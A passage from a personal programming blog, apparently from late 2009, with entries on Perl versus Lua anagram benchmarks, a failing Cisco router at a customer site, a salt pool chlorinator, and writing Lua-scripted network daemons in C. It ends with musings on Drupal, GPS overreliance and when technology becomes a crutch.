#!/usr/bin/perl use strict; #*************************** sub sortword { my $str = shift; my @t = unpack("(C)*",$str); @t = sort(@t); return pack("(C)*",@t); } #******************************* if (scalar(@ARGV) == 0) { printf(STDERR "usage: %s word\n",$0); exit(1); } my $word = sortword(uc($ARGV[0])); open(DICT,"/usr/share/dict/words") or die("Houston, we have a problem ... \n"); while(my $line = <DICT>) { chop $line; my $dictsort = sortword(uc($line)); if ($dictsort eq $word) { print $line . "\n"; } } close(DICT); exit(0);
Again, we need to pull apart the string into an array, sort that, and recreate the string. And when we run this lovely bit of Perl code it only takes 10.5 seconds.
Wow.
And here I thought Perl was the text crunching Master of the Universe.
Guess not.
Well, the Perl version of sortword()
could be tightened up a
bit …
sub sortword { return pack("(C)*",sort(unpack("(C)*",shift))); }
That takes us down to 8.6 seconds—nearly two full seconds to shuffle
data between variables. Perl isn't looking all that good. Well, there is
the function overhead, and given that we got sortword()
down to
one line, maybe if we inline it we'll get an improvement.
And we do—it's not 7.2 seconds. We finally beat unoptimized Lua code, but now with a more cryptic Perl version.
Way to go, Perl!
But given that Lua was easy to extend with C, can we do the same with Perl? A bit of searching lead me to the Inline::C Perl Module. Ten minutes to download and install (much better than I expected) and if anything, it was easier to embed C in Perl than in Lua:
#!/usr/bin/perl use Inline C; use strict; # same code as above, minus the sortword() subroutine exit(0); __END__ __C__ static int cmp(const void *l,const void *r) { int cl; int cr; cl = *(const char *)l; cr = *(const char *)r; return cl - cr; } char *sortword(char *word) { size_t len; len = strlen(word); qsort(word,len,1,cmp); return word; }
And we're down to 2.1 seconds. Just a bit quicker than the Lua/C version.
Well, that's after the 4.1 second initial run where it dumped a bunch of directories and files (lovely that).
Lua appears to be a bit faster than Perl, or at the very least, as fast as Perl.
And everything (even, quite possibly, Ruby) is faster than my own homebrewed language … sigh.
Friday, October 16, 2009
”Red Alert!” “Where? I don't see any lerts around here!”
Yesterday felt like Friday, mainly because The Weekly Meeting™ was canceled at the last minute, thus I didn't have to leave The Home Office.
But it was still a weekday today when I got a call rather early from Smirk. “Sean!” he yelled through the phone into my ear, “not only do we have a customer down, but we have network traces that show it's our equipment that's down!” Behind him I could hear the Klaxons™ in the background.
I mumbled something about calling him back, wandered over to The Home
Office, and started a Level Five Diagnostic Program poking into
the routers.
Oct 16 11:06:59.490 EDT: %RSP-3-ERROR: MD error 0080000080000000 -Traceback= 60385460 60385B24 60385C48 60386614 603513F4 Oct 16 11:06:59.494 EDT: %RSP-3-ERROR: SRAM parity error (bytes 0:7) 80 -Traceback= 60385538 60385B24 60385C48 60386614 603513F4 Oct 16 11:06:59.494 EDT: %VIP2 R5K-3-MSG: slot1 VIP-3-SVIP_CYBUSERROR_INTERRUPT: A Cybus Error occured. Oct 16 11:06:59.498 EDT: %VIP2 R5K-1-MSG: slot1 CYASIC Error Interrupt register 0xC Oct 16 11:06:59.502 EDT: %VIP2 R5K-1-MSG: slot1 Parity Error internal to CYA Oct 16 11:06:59.506 EDT: %VIP2 R5K-1-MSG: slot1 Parity Error in data from CyBus Oct 16 11:06:59.514 EDT: %VIP2 R5K-1-MSG: slot1 CYASIC Other Interrupt register 0x100 Oct 16 11:06:59.518 EDT: %VIP2 R5K-1-MSG: slot1 QE HIGH Priority Interrupt Oct 16 11:06:59.522 EDT: %VIP2 R5K-1-MSG: slot1 QE RX HIGH Priority Interrupt Oct 16 11:06:59.526 EDT: %VIP2 R5K-1-MSG: slot1 CYBUS Error Cmd/Addr 0x8001A00 Oct 16 11:06:59.530 EDT: %VIP2 R5K-1-MSG: slot1 MPUIntfc/PacketBus Error register 0x0 Oct 16 11:06:59.534 EDT: %VIP2 R5K-3-MSG: slot1 VIP-3-SVIP_PMAERROR_INTERRUPT: A PMA Error occured. Oct 16 11:06:59.538 EDT: %VIP2 R5K-1-MSG: slot1 PA Bay 0 Upstream PCI-PCI Bridge, Handle=0 Oct 16 11:06:59.542 EDT: %VIP2 R5K-1-MSG: slot1 DEC21050 bridge chip, config=0x0 Oct 16 11:06:59.546 EDT: %VIP2 R5K-1-MSG: slot1 (0x00):dev, vendor id = 0x00011011 Oct 16 11:06:59.550 EDT: %VIP2 R5K-1-MSG: slot1 (0x04):status, command = 0x02800147 Oct 16 11:06:59.554 EDT: %VIP2 R5K-1-MSG: slot1 (0x08):class code, revid = 0x06040002 Oct 16 11:06:59.562 EDT: %VIP2 R5K-1-MSG: slot1 (0x0C):hdr, lat timer, cls = 0x00010000 Oct 16 11:06:59.566 EDT: %VIP2 R5K-1-MSG: slot1 (0x18):sec lat,cls & bus no = 0x08010100 Oct 16 11:06:59.570 EDT: %VIP2 R5K-1-MSG: slot1 (0x1C):sec status, io base = 0x22807020 Oct 16 11:06:59.574 EDT: %VIP2 R5K-1-MSG: slot1 Received Master Abort on secondary bus Oct 16 11:06:59.578 EDT: %VIP2 R5K-1-MSG: slot1 (0x20):mem base & limit = 0x01F00000 Oct 16 11:06:59.582 EDT: %VIP2 R5K-1-MSG: slot1 (0x24):prefetch membase/lim = 0x0000FE00 Oct 16 11:06:59.586 EDT: %VIP2 R5K-1-MSG: slot1 (0x3C):bridge ctrl = 0x00030000 Oct 16 11:06:59.590 EDT: %VIP2 R5K-1-MSG: slot1 (0x40):arb/serr, chip ctrl = 0x00100000 Oct 16 11:06:59.594 EDT: %VIP2 R5K-1-MSG: slot1 (0x44):pri/sec trgt wait t. = 0x00000000 Oct 16 11:06:59.598 EDT: %VIP2 R5K-1-MSG: slot1 (0x48):sec write attmp ctr = 0x00FFFFFF Oct 16 11:06:59.606 EDT: %VIP2 R5K-1-MSG: slot1 (0x4C):pri write attmp ctr = 0x00FFFFFF Oct 16 11:06:59.610 EDT: %VIP2 R5K-1-MSG: slot1 PA Bay 1 Upstream PCI-PCI Bridge, Handle=1 Oct 16 11:06:59.614 EDT: %VIP2 R5K-1-MSG: slot1 DEC21050 bridge chip, config=0x0 Oct 16 11:06:59.618 EDT: %VIP2 R5K-1-MSG: slot1 (0x00):dev, vendor id = 0x00011011 Oct 16 11:06:59.622 EDT: %VIP2 R5K-1-MSG: slot1 (0x04):status, command = 0x02800147 Oct 16 11:06:59.626 EDT: %VIP2 R5K-1-MSG: slot1 (0x08):class code, revid = 0x06040002 Oct 16 11:06:59.630 EDT: %VIP2 R5K-1-MSG: slot1 (0x0C):hdr, lat timer, cls = 0x00010000 Oct 16 11:06:59.634 EDT: %VIP2 R5K-1-MSG: slot1 (0x18):sec lat,cls & bus no = 0x08020200 Oct 16 11:06:59.638 EDT: %VIP2 R5K-1-MSG: slot1 (0x1C):sec status, io base = 0x2280F0A0 Oct 16 11:06:59.642 EDT: %VIP2 R5K-1-MSG: slot1 Received Master Abort on secondary bus Oct 16 11:06:59.650 EDT: %VIP2 R5K-1-MSG: slot1 (0x20):mem base & limit = 0x03F00200 Oct 16 11:06:59.654 EDT: %VIP2 R5K-1-MSG: slot1 (0x24):prefetch membase/lim = 0x0000FE00 Oct 16 11:06:59.658 EDT: %VIP2 R5K-1-MSG: slot1 (0x3C):bridge ctrl = 0x00030000 Oct 16 11:06:59.662 EDT: %VIP2 R5K-1-MSG: slot1 (0x40):arb/serr, chip ctrl = 0x00100000 Oct 16 11:06:59.666 EDT: %VIP2 R5K-1-MSG: slot1 (0x44):pri/sec trgt wait t. = 0x00000000 Oct 16 11:06:59.670 EDT: %VIP2 R5K-1-MSG: slot1 (0x48):sec write attmp ctr = 0x00FFFFFF Oct 16 11:06:59.674 EDT: %VIP2 R5K-1-MSG: slot1 (0x4C):pri write attmp ctr = 0x00FFFFFF Oct 16 11:06:59.678 EDT: %VIP2 R5K-3-MSG: slot1 VIP-3-SVIP_RELOAD: SVIP Reload is called. Oct 16 11:06:59.690 EDT: %VIP2 R5K-3-MSG: slot1 VIP-3-SYSTEM_EXCEPTION: VIP System Exception occurred sig=22, code=0x0, context=0x60A8D368 Oct 16 11:07:01.714 EDT: %DBUS-3-CXBUSERR: Slot 1, CBus Error Oct 16 11:07:01.714 EDT: %DBUS-3-DBUSINTERRSWSET: Slot 1, Internal Error due to VIP crash Oct 16 11:07:01.718 EDT: %RSP-3-ERROR: End of MEMD error interrupt processing -Traceback= 60385BF0 60385C48 60386614 603513F4 Oct 16 11:07:01.842 EDT: %DBUS-3-CXBUSERR: Slot 1, CBus Error Oct 16 11:07:01.842 EDT: %DBUS-3-DBUSINTERRSWSET: Slot 1, Internal Error due to VIP crash Oct 16 11:07:05.599 EDT: %CBUS-3-CMDTIMEOUT: Cmd timed out, CCB 0x5800FF20, slot 0, cmd code 2 -Traceback= 603E3AF8 603E3FA4 603DC230 603D9F70 603A1E8C 6034462C 602FA6F0 603241C8 603241B4 Oct 16 11:07:07.623 EDT: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed state to down Oct 16 11:07:08.687 EDT: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to down Oct 16 11:07:16.527 EDT: %RSP-3-RESTART: cbus complex
I've never seen that happen to a Cisco router before.
I called Smirk back. “Smirk, you better get G [our Cisco consultant —Editor] on the phone to diagnose this issue. I'm out of my league.”
And thus began a few hours of scrambling to get a replacement router for the customer, and by the time I got onsite with a temporary replacement, I was told it was too late to do the change (the current router was still limping along—these crashes were happening about every half hour) and that they were planning on taking down the network at 11:00 tomorrow, so I could do the replacement then.
Wonderful!
Worse, is that this isn't the first time this router has had problems. A few weeks ago we appeared to have a similar issue and ended up replacing one of the interfaces (the errors weren't nearly as scary then). I remarked at the time that I had never seen a Cisco router go bad (I've been working with Smirk at The Company for five years now and this is a first—and even when I worked at a webhosting company in the late 90s, never saw a bad Cisco router, nor did I come across one when working at two ISPs (one in the mid 90s, and one around the turn of the century). Smirk also informed the customer, multiple times since then, that they need a redundant router, but the request never made it past a certain level of management.
Sigh.
Saturday, October 17, 2009
Them ol' router blues …
Getting up early makes me surly and not pleasant to be around. Stress also makes me surly and not pleasant to be around.
So of course, I'm getting up early to walk into a stressful situation.
I thought the plan was to simply drop in the Cisco 3550 (which I had configured for use yesterday) until we could get a full replacement router, but alas, that was not to be. Smirk called just before I left and told me to grab the Cisco 7206 and salvage a few cards from the 7500 series (I forget the exact model) over at the customer site.
So much for “get in, get out, nobody gets hurt” routine.
So I have to swing by The Data Center in Boca Raton first and grab the 40# beast, thus making me a bit late over at the Customer Site.
It didn't matter much because this is what greeted me when I arrived:
Thankfully, Smirk is used to my surliness at the crack of dawn [It was 11:03 am. –Editor][For me, 11:00 am is the crack of dawn. —Sean] and ignored my yelling on the phone. I was told to sit tight and I'd be let in momentarily.
I'll spare you the next three hours, but basically, they weren't happy with the Cisco 3550 (“What? You expect us to use that? Cisco ‘end-of-lifed’ that! That's not acceptible”) nor were they (or I) happy with the speed the Cisco 7206 was getting (directly connected, I was getting 90Mbps upload and only 10Mbps download speed—they were getting worse across their network. The Cisco 3550 (despite being “end-of-lifed” by Cisco) was faster. Smirk told me to take a break at 2:00, and meet him back at the customer site at 5:00 pm.
Some food and relaxation smoothed out the surliness on my part. I met Smirk back at the customer site at 5:00 pm and over the next three and a half hours:
- we wasted probably half an hour or more because a cable went bad;
- even though the bottom interface (the main CPU card) on the 7206 was labeled “FastEthernet” (Ciscospeak for “100Mbps port) it wasn't. Sure, it could communicate with a device at 100Mbps but it couldn't sustain that speed (which explains the huge discrepency with the earlier speed tests);
- cards without a handle are next to impossible to pull out of a Cisco (oh, that was an ugly scene);
- you need to load the cards into a Cisco 7206 in slot order;
- the customer's network disallowed pinging (nice one—remove one of the best network diagnostic tools why don't you?);
- spent an additional hour with the customer crew when we proved the connection was getting 90Mbps up and down so they could track down the speed bottleneck on their network.
Hopefully now they'll listen and get the redundant routers Smirk has been telling them they should get.
Monday, October 19, 2009
Chlorinate your pool without chlorine
Mark was eager to show me his latest toy that was just installed at his house—a chlorinator. I'm sure his having a hand in the development lead to part of his enthusiam for the Saltron™.
I'll admit, never having seen one of these units before, it's quite cool how it works. It's hooked inline with the pool pump, and converts ordinary salt (sodium chloride—the stuff you put on food) that is dumped into the water into chlorine.
The process uses an electrochemical process to extract the chlorine from the salt. The unit where the conversion takes place does get dirty over time, but it's designed to be removed and cleaned using an acid bath to remove the scales that build up over time. The computer controller that Mark helped develop reverses the polarity of the device every four hours since the scales develop on the negatively charged end—this is to keep the deposit buildup fairly consistent over the entire device making it last longer between cleanings (or replacements).
The unit is still being tested and Mark has one of the 50 prototype units, and apparently, the company that makes them is still looking for more testers. If anyone reading this is interested, I can forward your request to Mark.
Updates on October 20th, 2009
I posted a link to this entry on MyFaceSpaceBook and got a few comments back. One from my friend Mike Maurer:
From a pool guy … Saltwater pools do have disadvantages! Pools that use chlorine tablets (tri chlor), and pools that use salt (sodium chloride) are very similar. The first thing to understand is that both use chlorine. Both systems require sodium bicarbonate, calcium chloride, and muriatic acid to make chemistry adjustments. Salt chlorine systems require the addition of stabilizer (cyanuric acid) and salt which tablet pools do not. Stabilizer holds chlorine in the water. Chlorine tablets have this chemical in them already. The average pool in Orlando Florida (18,000 gallons) uses 400 pounds of salt and 60 pounds of stabilizer a year. These chemicals again, are not required in a tablet pool. Salt systems have a metal cell and an electronic control panel that cost about $1,000. The cell on average lasts for three years and costs $350 to replace. $1,350 would pay for all of your pool chemicals for an average pool for 10 years. Does anyone have a water fall? Salt builds up on any surface that gets wet and then dries just like going to a mild beach. The chemical to keep the salt from building (jacks magic) runs 21 dollars a month. As a pool retailer I hope that all pools will convert to salt, because we don't make any money on chlorine tablets. The prices have been consistent for 20 years. Salt and stabilizer though can be priced at my discretion because mass merchants don't carry them. Selling the cell is also great: Whereas a $5-chlorine tablet floater will last for ten years, the cell only lasts for three.
Mark likes the salt system because it's less work for him overall—just dump in a bunch of salt every couple of months and in a few years, wash or replace the cell.
That, and I think he got his chlorinator for free, from working on it.
The other comment, from Chris Monahan:
Yes—just got done with a revamp on my pool. I was intrigued by the salt option. My pool contractor said the salt option works pretty well but had problems associated with keeping acid balance and chem levels. He also said the salt will tend to make the edges higher maintenance—though my understanding is that the salt is very low … Read Moreconcentration. He suggested I go with an ozonater—something I had previous used in fish ponds and loved—always wondered why they were not big on pools. Its basically kills everything in the water by passing it through a strong UV light, creating a small amount of O3 as it does—which works to sterilize your pool. You can go without chlorine, but he recommended keeping low levels of chlorine. From my experience with my fish pond I will likely use very small amounts of algacide as well to ensure that nothing gets a foothold. The water is largely toxic chemical free—enough that I could probably let fish live in it (of course that would introduce way more probs). I plan to keep a single chlorine tab in my autochlorinator and give it a quarter-dose of all-in-one once every three or four months. Its too new for me to tell you how well this works—give me a couple of months and I will let anyone interested know how well it works if they ask. My pool is 22K gal in north Fla.
Interesting …
Wednesday, October 21, 2009
One Moon Daemon, coming up
My latest adventure into Lua has been to embed the language into a C application (an outgrowth of extending in C). I had this “proof-of-concept” network daemon I wrote that was simple enough to gut completely and replace the entire server logic with Lua, leaving the C code to handle the sockets.
But that wasn't hard enough. No. I wanted each connection handled by a Lua thread, and the ability to write “normal looking code” such as:
-- A simple echo server in Lua function main(connection) while true do connection:write(connection:read("*a")) end end
I will say this, unlike Theo Schlossnagle, who doesn't care for Lua the language but likes embedding it, I came to the opposite conclusion: I like Lua the language but embedding it is … interesting. Perhaps because I dove headfirst into Lua coroutines to get this working.
The first oddness with embedding Lua is that you push parameters onto the Lua stack, but not all lua functions pop all parameters. Namely, anything using a table won't actually pop the table parameter off the stack, and the stack notation used in the manual is not the notation I'm used to (having come to stack notations in Forth). So I'm sure that a majority of the issues I had were due to improper stack manipulations on my part.
And about that stack. You can reference the stack in two ways, from the bottom using positive indices, or from the top using negative indices, with 0 as an invalid stack index.
Bottom of Stack | Top of Stack | |||
---|---|---|---|---|
1 -5 | 2 -4 | 3 -3 | 4 -2 | 5 -1 |
As a longtime C (and assembly) programmer, it just looks weird to use 1- based indices in C.
Another horrible issue—via the C API you can push integers onto the Lua stack, you can push
strings onto the Lua stack, you can push functions (either written in Lua or
C) onto the stack, heck, you can push everything but userdata
structures onto the Lua stack. Userdata structures are allocated by Lua
(via lua_newuserd
ata()
), can contain anything you want, but there's no way to
actually push such a structure onto the Lua stack, so you always
have to keep it around on the Lua stack, or in a Lua variable or table, which
is a bit of a pain. I suppose it has to be that way in order for Lua to keep
track of it for garbage collection purposes, but still, a pain.
And then there's the coroutines …
Easy enough to create a coroutine:
lua_State *new; Foo *userdata; int rc; /*---------------------------- ; create a new thread ; main(userdata) ;----------------------------*/ new = lua_newthread(g_L); lua_getglobal(new,"main"); userdata = lua_newuserdata(new,sizeof(Foo)); /* fill in our userdata */ rc = lua_resume(new,1);
But once the thread finishes, then what?
lua_close
void lua_close (lua_State *L);Destroys all objects in the given Lua state (calling the corresponding garbage-collection metamethods, if any) and frees all dynamic memory used by this state. On several platforms, you may not need to call this function, because all resources are naturally released when the host program ends. On the other hand, long-running programs, such as a daemon or a web server, might need to release states as soon as they are not needed, to avoid growing too large.
Okay, so I'm concerned about garbage collection—I don't want tons of
garbage piling up and then … the … … big … … … pause … … … … while … … … … …
garbage … … … … … … collection takes place. And seeing how
lua_close()
mentions daemons, I figure I can call
lua_close
when a thread terminates, since I'm writing a daemon.
But when I do, every open connection suddenly closes and any new connection
causes the daemon to crash.
Huh?
lua_newthread
lua_State *lua_newthread (lua_State *L);Creates a new thread, pushes it on the stack, and returns a pointer to a
lua_State
that represents this new thread. The new state returned by this function shares with the original state all global objects (such as tables), but has an independent execution stack.There is no explicit function to close or to destroy a thread. Threads are subject to garbage collection, like any Lua object.
Reading between the lines, you don't really get a new state, you get a
copy of the existing state, but a new execution stack. Calling
lua_close()
on this “new” state is just like calling
lua_close()
on the already existing state.
Nope. What I wanted to do after each thread was to call lua_gc()
, only now current connections are getting garbage-collected along with
the finished ones, which meant I wasn't using luaL_ref()
and luaL_unref()
properly, probably because I wasn't managing the Lua stack properly
…
Sigh.
It also took a bit of careful coding to get the Lua code to properly
block (lua_yield()
)
and resume (lua_resume()
)
when you have input and output asynchronously appearing. It was also a bit
tricky to have one Lua thread write to another Lua thread's socket without
blowing things up. But eventually, not only did I get it such that the echo
service above works (as written above) but the following simple chat script
as well:
if members == nil then members = {} end local function login(socket) socket:write("Handle you go by: ") return socket:read() end local function wallaction(socket,who,everybody,me) for connection in pairs(members) do if connection ~= socket then connection:write(string.format("%s %s\n",who,everybody)) else if me ~= nil then connection:write(string.format("%s\n",me)) end end end end local function wall(socket,who,everybody,me) return wallaction(socket,who .. ":",everybody,me) end function main(socket) local name = login(socket) members[socket] = name wallaction(socket,name,"is in da room!","You are in the room.") io.stdout:write(string.format("%s has joined the party!\n",name)) while true do wall(socket,name,socket:read()) end end function fini(socket) io.stdout:write(string.format("%s has left the party!\n",members[socket])) wallaction(socket,members[socket],"has left the building!") members[socket] = nil end
Each Lua thread starts with main()
. fini()
is
called when a connection is dropped. I also made the daemon such that sending
it a SIGUSR1
will cause it to re-compile the script, so that
changes to the service can be made without having to restart the program as a
whole (which explains the odd way I define members
—if we reload
the script, I don't want to lose the current members).
As written, the code isn't multi-threaded—at the C level, it's just one process round-robinning a bunch of Lua threads, so I can get away with the chat process above without worry as only one Lua thread is executing at any one time.
But it's now quite easy to write network daemons, so easy that I'll leave you with one more—an RFC compliant Quote of the Day server:
QUOTESFILE = "/home/spc/quotes/quotes.txt" quotes = {} do local eoln = "\r\n" local f = io.open(QUOTESFILE,"r") local s = "" for line in f:lines() do if line == "" then -- each quote is separated by a blank link if #s < 512 then table.insert(quotes,s) end s = "" else s = s .. line .. eoln end end f:close() end math.randomseek(os.time()) function main(socket) socket:write(quotes[math.random(#quotes)]) end
Thursday, October 22, 2009
Unicorns and Rainbows
I don't use Drupal. I don't care for PHP. Yet I still ended up attending a Drupal User Group because both Smirk and R use Drupal (and I guess that means I just outted the documented overwrought PHP framework he's switching to) and that means I too, have to quaff the non-cabonated sugar water.
Yum.
The first presentation was on what looked like a framework built ontop of Drupal, which is a framework unto itself, and I was thinking that the whole point of Drupal was to provide a framework to remove the drudgery of website construction yet it's now too low level and cumbersome to work with so let's wrap the whole thing up in yet another obtuse abstraction layer to further remove us from any tangible implementation details.
Yeah.
[In talking with Smirk after the meeting, I learned that what was being described with breathless enthusiasm was really just a Drupal distribution with a bunch of pre-installed third party modules installed for constructing a particular type of website. I'm glad Smirk cleared up my misconception of that presentation.]
The second presentation was on drush, which is a commnd line interface to administer a Drupal site because the Drupal control panel is apprently just too limited. Everybody (including Smirk) was oohing and ahhing over this incredible new approach to adminstration and I'm like … this is new? Am I missing something here? (short answer for now: yes, but I'll get to that in a bit)
The final presentation was on the upcoming Drupal 7 release, which includes a bunch more modules in the core distribution, “stories” are now called “articles,” and a few minor API changes (but don't worry—there's a project to automatically convert 6x modules to 7).
If I seem underwhelmed, it's … well, because I am. I was not in the target audience for the meeting and in fact, I seemed to be the only programmer in attendance [let me clarify that a bit: while Smirk can program—he has a Computer Science degree and is getting his Masters; I think I was the only person there who actually makes a living by programming. Everbody else doesn't and even those that could program stated they will spend extra time to avoid programming if at all possible—why spend five hours writing a custom Drupal module that works exactly as you need when you can spend ten hours trying to find a module that sort of, kind of, does almost what you want so you can work around it's limitations, because, as we all know, everything that you could possibly do on the computer has already been done before, so why reinvent those square granite wheels?] [Cynical much? —Editor] [What? Me, cynical? Naaaah … —Sean]
Between the presentations and hanging out listening to the conversation afterwards, I felt very out of place there. One person there was going on and on about Titanium, a development environment that allows one to make “desktop applications” using only HTML5, CSS3 and JavaScript that can be installed everywhere (that is, under Windows, Mac OS-X and Linux). That's not programming as I know it (and why was he bringing it up at a Drupal User's Group? I don't know).
Another person was complaining about slow websites, and when I mentioned the easy solution to that (just serve up static pages) he just rolled his eyes and proceeded to continue on with the conversation (he came across as nice, but as he said, he wasn't one of those “server guys.” Sigh).
I had a hard time explaining my reaction to Smirk after the meeting. I mean, I can understand why Smirk is using Drupal to design some websites, as it allows the customer the ability to log in and customize their site without having to bother us, but as I attempted to explain to Smirk, this ever increasing layering of abstractions is all unicorns and rainbows until something breaks.
And now what?
Did the router go down? Is DNS borked? Oh wait, Apache could have run out of file descriptors and thus can't load the site any more. Could be a disk quota issue, then again, it could be that a file that the web application locked was on an NFS mounted drive that actually was symlinked to a file shared via SMB from a Windows machine in accounting and Bob just changed the contents of the file out from under the web application without knowing it.
But I digress.
I'm not saying I had a horrible time, I didn't. It wasn't that bad. I just wasn't the intended audience. And the anti-programming extreme user-centric vibe in the room didn't help either.
I'm also thinking I need to do a post on unicorns and rainbows needlessly complex abstractions …
Friday, October 23, 2009
WikiMUD Part Deux: Five Years Later …
- From
- Giles Cooper <XXXXXXXXXXXXXXXXXXXXXX>
- To
- sean@conman.org
- Subject
- WikiMUD
- Date
- Fri, 23 Oct 2009 16:03:24 -0400
… (almost exactly five years later) …
Go on, I'm entrigued–
Giles Cooper
XXXXXXXXXXXXXXXXXXXXXX
http://planes09.wikia.com/
Giles is refering to two entries I wrote five years ago. It was more of a passing idea than anything I really wanted to work on and over the years I felt that the most likely language to implement the WikiMUD would be JavaScript (as it's pretty much Lisp in imperative form … kind of … if you squint real hard … and wave your hands around a lot), but over the past month or so, I'm thinking Lua would be a good candidate as well.
Especially given that I can now write network services in Lua.
Okay, doesn't mean I'll actually write a WikiMUD … just that now I'm in a better position to start, if I decide to.
Or someone can …
Or something …
I'm sensing a trend …
In June, Al Byrd's three-bedroom home, built by his father on the western outskirts of Atlanta, was mistakenly torn down by a demolition company. “I said, ‘Don't you have an address?’ ” a distraught Byrd later recounted. “He said, ‘Yes, my GPS coordinates led me right to this address here.’ ” The incident joined a long list of satellite-guided blunders, including one last year in which a driver in Bedford Hills, New York, obeyed instructions from his GPS to turn right onto a set of train tracks, where he got stuck and had to abandon his car to a collision with a commuter train. Incredibly, the same thing happened to someone else at exactly the same intersection nine months later. In Europe, narrow village roads and country lanes have turned into deadly traps for truckers blindly following GPS instructions, and an insurance company survey found that 300,000 British drivers have either crashed or nearly crashed because of the systems.
…
To many, the beauty of the devices is precisely that we no longer have any need to painstakingly assemble those cognitive maps. But Cornell University human-computer interaction researcher Gilly Leshed argues that knowledge of an area means more than just finding your way around. Navigation underlies the transformation of an abstract “space” to a “place” that has meaning and value to an individual. For the GPS users Leshed and her colleagues observed in an ethnographic study, the virtual world on the screens of their devices seemed to blur and sometimes take over from the real world that whizzed by outside. “Instead of experiencing physical locations, you end up with a more abstract representation of the world,” she says.
On a snowmobile trip of over 500 kilometres across the Arctic, this blurring of the real and the virtual became obvious to Carleton University anthropologist Claudio Aporta. Returning from Repulse Bay to Igloolik, a village west of Baffin Island where he was conducting fieldwork, he and an Inuit hunter became engulfed in fog. The hunter had been leading the way along traditional routes, guided by the winds, water currents, animal behaviour, and features such as the uqalurait, snowdrifts shaped by prevailing winds from the west by northwest. Like London taxi drivers, Inuit hunters spend years acquiring the knowledge needed to find their way in their environment, part of a culture in which “the idea of being lost or unable to find one's way is without basis in experience, language, or understanding — that is, until recently,” as Aporta and Eric Higgs wrote in a 2005 paper on “satellite culture” and the rise of GPS use in Igloolik.
Heavy fog is the one condition that stymies even the most expert Inuit navigators. The traditional response is to wait until the fog lifts, but, knowing that Aporta had mapped the outbound journey on his GPS, his guide asked him to lead the way on his snowmobile. “It was an incredible experience, because I could see absolutely nothing,” he recalls. “I didn't know if there was a cliff ahead; I was just following the GPS track for five kilometres, blind, really.” This was the extreme version of the city driver blankly turning left and right at the command of his GPS, and it required a leap of faith. “Believe me,” he says, chuckling, “I was sweating like crazy.”
The demonstrable benefits of GPS have, however, removed much of the incentive for the younger generation in Igloolik to undertake the arduous process of learning traditional navigation techniques. Elders worry about this loss of knowledge, for reasons that go beyond the cultural—a straight line across an empty icefield plotted by GPS doesn't warn about the thin ice traditional trails would have skirted. Dead batteries and frozen screens, both common occurrences in the harsh Arctic conditions, would also be disastrous for anyone guided solely by technology.
Via Hacker News, The Walrus Magazine » Global Impositioning Systems
I think there's a connection between overreliance on the GPS and my unease with the Drupal User's Group yesterday, but it's still a bit tenuous … but there is a connection …
And one story somewhat related to the article: when I visited my friends in Boston, I had no sense of the city (other than being a twisty maze of one way streets, all alike) because we always took the T, which was for the most part, below ground. We'd descend into an underground station, enter a train, wait a bit, exit the train and ascend into a new part of the city—a linear stretch of Bostonian islands as it were.
I found it rather disconcerting, but I never did get lost.
Sunday, November 01, 2009
It's “National Type Lots Of Words Month” it seems
Well, not only is is the start of National Novel Writing Month but it seems, it is also the start of National Blog Posting Month (link via Spring), which, I guess, could work together—you blog each day the number of words (or rather, the lack of words) you wrote for your novel.
But I have to wonder, will next year bring NaTwitTwitMo?
Monday, November 02, 2009
The map is not the territory
What I cannot build, I cannot understand.
I've ranted against control panels. I've ranted against scripting langauges. I've ranted against GPS units. I've even ranted about user groups.
I certainly come across as a curmudgeon, odd as I enjoy and generally believe in technology. But recently I've been asking myself, “Myself, why am I such a curmudgeon?”
That question is proving hard to answer.
Another question that is proving hard to answer is, “when does technology pass from being a tool to being a crutch?”
I've been trying to answer this since 6:00 pm today (and even though it's dated the 2nd, it's now 2:15 am on the 3rd and I'm still trying to answer it). I've lost count to the number of drafts I've done, and I've rejected them all as either too rambly, too incoherent or both.
Even Bunny mentioned that all the GPS horror stories I've presented so far ignore the hundreds of thousands of successful uses of the invention. For every plane crash you hear about, you don't hear about the 100,000 plane landings where nothing happened.
I have found, though that my Don Quixhotesque rants can be classified as:
- it renders my knowledge useless (control panels)
- people who don't understand the technology abuse it (dynamic languages)
- common sense is ignored in favor of the computer (GPS)
- the culture is totally alien to my way of thinking (user groups)
On second thought, it can be condensed down to:
- the culture is totally alien to my way of thinking
And while I may have answered why I'm such a curmudgeon, I'm still no closer to answering the other question.
When does technology pass from being a tool to being a crutch?
Update on Tuesday, November 3rd, 2009
Tuesday, November 03, 2009
When does technology pass from being a tool to being a crutch?
Wow. Yesterday's post gathered quite a bit of commentary. Most of it on MyFaceSpaceBook (which is copied below for those of you who aren't using MyFaceSpaceBook) but there's also some discussion over at Flutterby™!
The MyFaceSpaceBook comments. Jeff Cuscutis wrote:
I think that is a flawed question. A crutch is a tool. It helps you do something you wouldn't be able to do otherwise.
Every tool since the first stick and rock are crutches. Before books, people memorized enormously long stories regularly. Who does that now?
The difference between a tool and a crutch is when you forget you are the master of the tool and follow it blindly.
Okay. I was using the term “crutch” in a derogatory manner since I don't have a better term for what I'm describing. Some programmers (and I'll admit to being in this class) often view using a debugger as a “crutch,” blindly single stepping through the code because they don't understand the very code they've written! (I used to upset other students in college by just looking over their code they're writing and pointing out bugs left and right). Sure, I use a debugger. But not all the time, and sometimes, a debugger isn't enough to solve the issue (race issues with multithreaded code is nasty like that).
But I do like Jeff's last line there.
Chris Monahan pretty much nails what I was trying to get at with asking that question:
I would argue that a tool is serving as a crutch if the task it enables you to do is one that you should or would, under healthier or more ideal conditions, perform as well or better without the tool.
That “should” is a very important distinction. A programmer should be able to reason about their code and at least formulate a hypothesis as to why the program crashes (just beyond the stock answer of “it's buggy”). The debugger is there to help them prove or disprove the hypothesis and quickly drill down to the actual issue, not to get around the fact they don't understand the code they've written.
Anyway, Chris' wife, Mary Monahan replied to a comment I made about IDEs:
Who finishes first with an output they can use? Generally speaking a person who doesn't need the IDE (let's go ahead and use the common name “dinosaur” :) ) can finish faster using the IDE than the text editor because they don't have to spend the time visually scanning for typos, etc. A person who can't use the text editor will be slower than the dinosaur because they are not only using the IDE for simple checks but to generate code, time to debug the generated code they don't understand, and look up examples, etc. This is not a question of whether the IDE is a tool or a crutch, it is a question of whether a person is choosing the right tool to be efficient and has the skills to do the job in the best way. I have created programs using bit switches, card input, text editors, and a wide variety of IDEs. That pretty much puts me solidly in the dinosaur category for a lot of people. But, if you are using the best tool for the job and you can get it done at the same rate or faster as another person it isn't a crutch—it's the right answer.
And Chris' answer to the same IDE comment:
